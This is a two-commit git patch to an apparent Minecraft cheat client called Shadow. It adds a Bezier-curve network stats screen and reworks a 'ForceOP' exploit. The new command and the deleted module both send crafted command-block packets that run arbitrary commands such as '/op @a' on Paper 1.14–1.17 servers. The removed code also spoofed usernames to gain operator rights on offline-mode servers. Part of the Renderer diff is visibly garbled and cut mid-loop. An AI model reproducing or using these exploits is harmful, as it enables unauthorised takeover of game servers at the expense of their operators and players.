From abef647bebeaf5e5a893cd7b530f7c22c9c82391 Mon Sep 17 00:00:00 2001 From: 0x3C50 Date: Wed, 6 Apr 2022 00:11:00 +0200 Subject: [PATCH 1/2] i put the bezier --- .../client/feature/gui/screen/HomeScreen.java | 4 +- .../feature/gui/screen/StatsScreen.java | 86 +++++++++++++++++++ .../client/feature/gui/screen/TestScreen.java | 19 ++-- .../java/net/shadow/client/helper/Timer.java | 4 + .../shadow/client/helper/render/Renderer.java | 43 ++++++++++ .../shadow/client/mixin/GameMenuMixin.java | 4 +- 6 files changed, 149 insertions(+), 11 deletions(-) create mode 100644 src/main/java/net/shadow/client/feature/gui/screen/StatsScreen.java diff --git a/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java b/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java index 5fdacab..fa8ac3b 100644 --- a/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java +++ b/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java @@ -119,8 +119,8 @@ public class HomeScreen extends ClientScreen implements FastTickable { buttonsMap.add(new AbstractMap.SimpleEntry<>("Multiplayer", () -> ShadowMain.client.setScreen(new MultiplayerScreen(this)))); buttonsMap.add(new AbstractMap.SimpleEntry<>("Realms", () -> ShadowMain.client.setScreen(new RealmsMainScreen(this)))); buttonsMap.add(new AbstractMap.SimpleEntry<>("Alts", () -> ShadowMain.client.setScreen( - AltManagerScreen.instance() -// new AddonManagerScreen() +// AltManagerScreen.instance() + new TestScreen() ))); buttonsMap.add(new AbstractMap.SimpleEntry<>("Settings", () -> ShadowMain.client.setScreen(new OptionsScreen(this, ShadowMain.client.options)))); widgetsHeight = buttonsMap.size() * (widgetHeight + widPad) - widPad; diff --git a/src/main/java/net/shadow/client/feature/gui/screen/StatsScreen.java b/src/main/java/net/shadow/client/feature/gui/screen/StatsScreen.java new file mode 100644 index 0000000..eec0f0a --- /dev/null +++ b/src/main/java/net/shadow/client/feature/gui/screen/StatsScreen.java @@ -0,0 +1,86 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.gui.screen; + +import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.util.Util; +import net.minecraft.util.math.Vec2f; +import net.shadow.client.ShadowMain; +import net.shadow.client.feature.gui.FastTickable; +import net.shadow.client.helper.Timer; +import net.shadow.client.helper.render.Renderer; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.List; +import java.util.Objects; + +public class StatsScreen extends ClientScreen implements FastTickable { + static List packetIn = Util.make(() -> { + List f = new ArrayList<>(); + for(int i = 0;i<100;i++) f.add(0f); + return f; + }); + static List packetOut = Util.make(() -> { + List f = new ArrayList<>(); + for(int i = 0;i<100;i++) f.add(0f); + return f; + }); + Timer packetUpdater = new Timer(); + + @Override + public void onFastTick() { + if (packetUpdater.hasExpired(500)) { + packetUpdater.reset(); + float in = ShadowMain.client.getNetworkHandler().getConnection().getAveragePacketsReceived(); + packetIn.add(in); + float out = ShadowMain.client.getNetworkHandler().getConnection().getAveragePacketsSent(); + packetOut.add(out); + while(packetIn.size() > 100) { + packetIn.remove(0); + } + while(packetOut.size() > 100) packetOut.remove(0); + } + } + + @Override + public void renderInternal(MatrixStack stack, int mouseX, int mouseY, float delta) { + renderBackground(stack); + double contentWidth = width; + + List bezPositions = new ArrayList<>(); + List pIn = new ArrayList<>(StatsScreen.packetIn); + List pOut = new ArrayList<>(StatsScreen.packetOut); + pIn.removeIf(Objects::isNull); + float highest = Math.max(pIn.stream().max(Comparator.comparingDouble(value -> (double) value)).orElse(0f), + pOut.stream().max(Comparator.comparingDouble(value -> (double) value)).orElse(0f)); + double maxHeight = 300; + float scaleFactor = (float) Math.min(1,maxHeight/highest); + for (int i = 0; i < pIn.size(); i++) { + double prog = (i)/(double)(pIn.size()-3); + float x = (float) (prog*contentWidth-((System.currentTimeMillis()-packetUpdater.getLastReset())/500f*(1f/(pIn.size()-1)*contentWidth))); + float y = (float) height-pIn.get(i)*scaleFactor; + Vec2f a = new Vec2f(x,y); + bezPositions.add(a); + } + Renderer.R2D.renderBezierCurve(stack,bezPositions.toArray(new Vec2f[0]), 1f,1f,0f,1f,0.01f); + bezPositions.clear(); + for (int i = 0; i < pOut.size(); i++) { + double prog = (i)/(double)(pOut.size()-3); + float x = (float) (prog*contentWidth-((System.currentTimeMillis()-packetUpdater.getLastReset())/500f*(1f/(pOut.size()-1)*contentWidth))); + float y = (float) height-pOut.get(i)*scaleFactor; + Vec2f a = new Vec2f(x,y); + bezPositions.add(a); + } + Renderer.R2D.renderBezierCurve(stack,bezPositions.toArray(new Vec2f[0]), 0f,1f,1f,1f,0.01f); + + super.renderInternal(stack, mouseX, mouseY, delta); + } + + @Override + public boolean shouldPause() { + return false; + } +} diff --git a/src/main/java/net/shadow/client/feature/gui/screen/TestScreen.java b/src/main/java/net/shadow/client/feature/gui/screen/TestScreen.java index ea76e55..0f0c370 100644 --- a/src/main/java/net/shadow/client/feature/gui/screen/TestScreen.java +++ b/src/main/java/net/shadow/client/feature/gui/screen/TestScreen.java @@ -5,27 +5,30 @@ package net.shadow.client.feature.gui.screen; import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.util.math.Vec2f; import net.shadow.client.helper.GifPlayer; +import net.shadow.client.helper.render.Renderer; import java.io.File; public class TestScreen extends ClientScreen { - private static final GifPlayer gp = GifPlayer.createFromFile(new File("/home/x150/Downloads/img.gif"), 30); - - public TestScreen() { - - } - @Override protected void init() { - gp.setGifFile(new File("/home/x150/Downloads/img.gif")); super.init(); } @Override public void renderInternal(MatrixStack stack, int mouseX, int mouseY, float delta) { renderBackground(stack); - gp.renderFrame(stack, 10, 10, 300, 300); + Vec2f[] points = new Vec2f[] { + new Vec2f(0,0), + new Vec2f(100,100), + new Vec2f(mouseX,mouseY), + new Vec2f(500,300), + new Vec2f(200,200), + new Vec2f(600,200) + }; + Renderer.R2D.renderBezierCurve(stack,points,1f,1f,1f,1f,0.01f); super.renderInternal(stack, mouseX, mouseY, delta); } diff --git a/src/main/java/net/shadow/client/helper/Timer.java b/src/main/java/net/shadow/client/helper/Timer.java index e3d6c75..4fd75ce 100644 --- a/src/main/java/net/shadow/client/helper/Timer.java +++ b/src/main/java/net/shadow/client/helper/Timer.java @@ -18,4 +18,8 @@ public class Timer { public boolean hasExpired(long timeout) { return System.currentTimeMillis() - lastReset > timeout; } + + public long getLastReset() { + return lastReset; + } } diff --git a/src/main/java/net/shadow/client/helper/render/Renderer.java b/src/main/java/net/shadow/client/helper/render/Renderer.java index 778f569..b462763 100644 --- a/src/main/java/net/shadow/client/helper/render/Renderer.java +++ b/src/main/java/net/shadow/client/helper/render/Renderer.java @@ -518,6 +518,49 @@ public class Renderer { renderTexturedQuad(matrices.peek() .getPositionMatrix(), x0, x1, y0, y1, z, (u + 0.0F) / (float) textureWidth, (u + (float) regionWidth) / (float) textureWidth, (v + 0.0F) / (float) textureHeight, (v + (float) regionHeight) / (float) textureHeight); } + static Vec2f lerp(Vec2f p1, Vec2f p2, float delta) { + float x = MathHelper.lerp(delta,p1.x,p2.x); + float y = MathHelper.lerp(delta,p1.y,p2.y); + return new Vec2f(x,y); + } + static Vec2f getMultiBezPoint(Vec2f[] vertecies, float delta) { + List verts = new ArrayList<>(List.of(vertecies)); + while(verts.size() > 1) { + for(int i = 0;i { assert client != null; - client.setScreen(new AddonManagerScreen()); +// client.setScreen(new AddonManagerScreen()); + client.setScreen(new StatsScreen()); })); } } From 6f2d2c53328a5e24e229dae9b43e24adf5583108 Mon Sep 17 00:00:00 2001 From: 0x3C50 Date: Wed, 6 Apr 2022 00:24:43 +0200 Subject: [PATCH 2/2] remove dogshit, saturn why is the cracked forceop thing not working and why is the forceop module not a command --- .../feature/command/CommandRegistry.java | 2 +- .../client/feature/command/impl/ForceOP.java | 80 +++++++--------- .../client/feature/gui/screen/HomeScreen.java | 4 +- .../feature/module/impl/exploit/ForceOP.java | 95 ------------------- .../shadow/client/mixin/GameMenuMixin.java | 4 +- 5 files changed, 41 insertions(+), 144 deletions(-) delete mode 100644 src/main/java/net/shadow/client/feature/module/impl/exploit/ForceOP.java diff --git a/src/main/java/net/shadow/client/feature/command/CommandRegistry.java b/src/main/java/net/shadow/client/feature/command/CommandRegistry.java index 52e0391..dab68c3 100644 --- a/src/main/java/net/shadow/client/feature/command/CommandRegistry.java +++ b/src/main/java/net/shadow/client/feature/command/CommandRegistry.java @@ -141,7 +141,6 @@ public class CommandRegistry { vanillaCommands.add(new Equip()); vanillaCommands.add(new EVclip()); vanillaCommands.add(new FloodLuckperms()); - vanillaCommands.add(new ForceOP()); vanillaCommands.add(new ItemSpoof()); vanillaCommands.add(new HClip()); vanillaCommands.add(new Image()); @@ -155,6 +154,7 @@ public class CommandRegistry { vanillaCommands.add(new VClip()); vanillaCommands.add(new MessageSpam()); vanillaCommands.add(new ClearInventory()); + vanillaCommands.add(new ForceOP()); } public static List getCommands() { diff --git a/src/main/java/net/shadow/client/feature/command/impl/ForceOP.java b/src/main/java/net/shadow/client/feature/command/impl/ForceOP.java index f31d057..22d73f5 100644 --- a/src/main/java/net/shadow/client/feature/command/impl/ForceOP.java +++ b/src/main/java/net/shadow/client/feature/command/impl/ForceOP.java @@ -4,62 +4,54 @@ package net.shadow.client.feature.command.impl; -import net.minecraft.client.network.PlayerListEntry; -import net.minecraft.client.network.ServerAddress; -import net.minecraft.world.GameMode; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.block.entity.CommandBlockBlockEntity; +import net.minecraft.entity.vehicle.CommandBlockMinecartEntity; +import net.minecraft.network.packet.c2s.play.UpdateCommandBlockC2SPacket; +import net.minecraft.network.packet.c2s.play.UpdateCommandBlockMinecartC2SPacket; +import net.minecraft.util.hit.BlockHitResult; +import net.minecraft.util.hit.EntityHitResult; +import net.minecraft.util.hit.HitResult; +import net.minecraft.util.math.BlockPos; import net.shadow.client.ShadowMain; import net.shadow.client.feature.command.Command; import net.shadow.client.feature.command.exception.CommandException; -import net.shadow.client.helper.Globals; -import net.shadow.client.mixin.SessionAccessor; - -import java.net.InetSocketAddress; -import java.util.Objects; public class ForceOP extends Command { public ForceOP() { - super("ForceOP", "Get op on cracked servers", "forceOp", "crackedOp"); - } - - private static void authUsername(String username) { - ShadowMain.client.getSessionProperties().clear(); - ((SessionAccessor) ShadowMain.client).setUsername(username); - } - - private String getPlayer() { - for (PlayerListEntry player : ShadowMain.client.getNetworkHandler().getPlayerList()) { - if (player.getGameMode().equals(GameMode.CREATIVE) || player.getGameMode().equals(GameMode.SPECTATOR)) { - return player.getProfile().getName(); - } - } - return "None"; - } - - @Override - public String[] getSuggestions(String fullCommand, String[] args) { - if (args.length == 1) { - return Objects.requireNonNull(ShadowMain.client.world).getPlayers().stream().map(abstractClientPlayerEntity -> abstractClientPlayerEntity.getGameProfile().getName()).toList().toArray(String[]::new); - } - return super.getSuggestions(fullCommand, args); + super("ForceOP", "Edit command blocks on paper 1.14 - 1.17", "forceop", "editcmd"); } @Override public void onExecute(String[] args) throws CommandException { validateArgumentsLength(args, 1); - InetSocketAddress socket = (InetSocketAddress) ShadowMain.client.player.networkHandler.getConnection().getAddress(); - Globals.serverAddress = new ServerAddress(socket.getHostName(), socket.getPort()); - String nick; - if (args.length == 0) { - nick = getPlayer(); - if (nick.equals("None")) { - error("Could not find a suitable OP Player, use arguments to define"); - return; + HitResult view = ShadowMain.client.crosshairTarget; + String command = String.join(" ",args); + if (view == null || view.getType() == HitResult.Type.MISS) { + error("Look at a command block or command block minecart"); + } else if (view instanceof EntityHitResult ehr) { + if (ehr.getEntity() instanceof CommandBlockMinecartEntity) { + message("Sending exploit"); + ShadowMain.client.player.networkHandler.sendPacket(new UpdateCommandBlockMinecartC2SPacket(ehr.getEntity().getId(), command, false)); + success("Sent exploit, try to activate the command block minecart"); + } else { + error("Look at a command block minecart"); + } + } else if (view instanceof BlockHitResult bhr) { + BlockPos bp = bhr.getBlockPos(); + BlockState bs = ShadowMain.client.world.getBlockState(bp); + Block b = bs.getBlock(); + if (b == Blocks.COMMAND_BLOCK || b == Blocks.REPEATING_COMMAND_BLOCK || b == Blocks.CHAIN_COMMAND_BLOCK) { + message("Sending exploit"); + ShadowMain.client.getNetworkHandler().sendPacket(new UpdateCommandBlockC2SPacket(bp, "", CommandBlockBlockEntity.Type.REDSTONE, false, false, false)); + ShadowMain.client.getNetworkHandler().sendPacket(new UpdateCommandBlockC2SPacket(bp, command, CommandBlockBlockEntity.Type.REDSTONE, false, false, true)); + success("Sent exploit, command block should self activate"); + } else { + error("Look at any type of command block"); } - } else { - nick = args[0]; } - authUsername(nick); - Globals.reconnectInstantly = true; - ShadowMain.client.world.disconnect(); + } } diff --git a/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java b/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java index fa8ac3b..3d10593 100644 --- a/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java +++ b/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java @@ -119,8 +119,8 @@ public class HomeScreen extends ClientScreen implements FastTickable { buttonsMap.add(new AbstractMap.SimpleEntry<>("Multiplayer", () -> ShadowMain.client.setScreen(new MultiplayerScreen(this)))); buttonsMap.add(new AbstractMap.SimpleEntry<>("Realms", () -> ShadowMain.client.setScreen(new RealmsMainScreen(this)))); buttonsMap.add(new AbstractMap.SimpleEntry<>("Alts", () -> ShadowMain.client.setScreen( -// AltManagerScreen.instance() - new TestScreen() + AltManagerScreen.instance() +// new TestScreen() ))); buttonsMap.add(new AbstractMap.SimpleEntry<>("Settings", () -> ShadowMain.client.setScreen(new OptionsScreen(this, ShadowMain.client.options)))); widgetsHeight = buttonsMap.size() * (widgetHeight + widPad) - widPad; diff --git a/src/main/java/net/shadow/client/feature/module/impl/exploit/ForceOP.java b/src/main/java/net/shadow/client/feature/module/impl/exploit/ForceOP.java deleted file mode 100644 index f1c104c..0000000 --- a/src/main/java/net/shadow/client/feature/module/impl/exploit/ForceOP.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. - */ - -package net.shadow.client.feature.module.impl.exploit; - -import net.minecraft.client.util.math.MatrixStack; -import net.shadow.client.feature.config.BooleanSetting; -import net.shadow.client.feature.config.StringSetting; -import net.shadow.client.feature.gui.notifications.Notification; -import net.shadow.client.feature.module.Module; -import net.shadow.client.feature.module.ModuleType; -import net.minecraft.block.Blocks; -import net.minecraft.block.entity.CommandBlockBlockEntity; -import net.minecraft.client.util.math.MatrixStack; -import net.minecraft.entity.Entity; -import net.minecraft.entity.vehicle.CommandBlockMinecartEntity; -import net.minecraft.network.packet.c2s.play.UpdateCommandBlockC2SPacket; -import net.minecraft.network.packet.c2s.play.UpdateCommandBlockMinecartC2SPacket; -import net.minecraft.util.math.BlockPos; -import net.minecraft.util.math.Vec3d; - -public class ForceOP extends Module { - - final StringSetting command = this.config.create(new StringSetting.Builder("/op @a").name("Command").description("The command to run while using the exploit").get()); - final BooleanSetting useBlock = this.config.create(new BooleanSetting.Builder(false).name("Use Blocks").description("Use commandblocks instead of minecarts to perform the exploit").get()); - - public ForceOP() { - super("ForceOP", "ForceOP on paper 1.14.0 - 1.17.0 Servers while in GMC with command blocks on", ModuleType.EXPLOIT); - } - - @Override - public void tick() { - - } - - @Override - public void enable() { - if(useBlock.getValue()){ - BlockPos selblock = null; - for (int x = -7; x < 8; x++) - for (int y = -7; y < 8; y++) - for (int z = -7; z < 8; z++) { - BlockPos pos = client.player.getBlockPos().add(new BlockPos(x, y, z)); - if (client.world.getBlockState(pos).getBlock() == Blocks.COMMAND_BLOCK) { - selblock = pos; - break; - } - } - if(selblock == null){ - Notification.create(5000, "ForceOP", Notification.Type.ERROR, "Place a CommandBlock Near You!"); - return; - } - Notification.create(5000, "ForceOP", Notification.Type.SUCCESS, "Performing Exploit..."); - client.player.networkHandler.sendPacket(new UpdateCommandBlockC2SPacket(selblock, "", CommandBlockBlockEntity.Type.REDSTONE, false, false, false)); - client.player.networkHandler.sendPacket(new UpdateCommandBlockC2SPacket(selblock, command.getValue(), CommandBlockBlockEntity.Type.REDSTONE, false, false, true)); - this.setEnabled(false); - }else{ - int id = 696969; - for (Entity mcart : client.world.getEntities()) { - if (mcart instanceof CommandBlockMinecartEntity) { - if (mcart.distanceTo(client.player) > 7) return; - id = mcart.getId(); - } - } - if (id == 696969) { - Notification.create(5000, "ForceOP", Notification.Type.ERROR, "Place a CommandBlockMinecart Near You!"); - this.setEnabled(false); - return; - } - Notification.create(5000, "ForceOP", Notification.Type.SUCCESS, "Performing Exploit..."); - client.player.networkHandler.sendPacket(new UpdateCommandBlockMinecartC2SPacket(id, command.getValue(), false)); - this.setEnabled(false); - } - } - - @Override - public void disable() { - } - - @Override - public String getContext() { - return null; - } - - @Override - public void onWorldRender(MatrixStack matrices) { - - } - - @Override - public void onHudRender() { - - } -} diff --git a/src/main/java/net/shadow/client/mixin/GameMenuMixin.java b/src/main/java/net/shadow/client/mixin/GameMenuMixin.java index 7f34d8e..639e6e3 100644 --- a/src/main/java/net/shadow/client/mixin/GameMenuMixin.java +++ b/src/main/java/net/shadow/client/mixin/GameMenuMixin.java @@ -25,8 +25,8 @@ public class GameMenuMixin extends Screen { void addAddons(CallbackInfo ci) { addDrawableChild(new RoundButton(RoundButton.STANDARD, 5, 5, 60, 20, "Addons", () -> { assert client != null; -// client.setScreen(new AddonManagerScreen()); - client.setScreen(new StatsScreen()); + client.setScreen(new AddonManagerScreen()); +// client.setScreen(new StatsScreen()); })); } }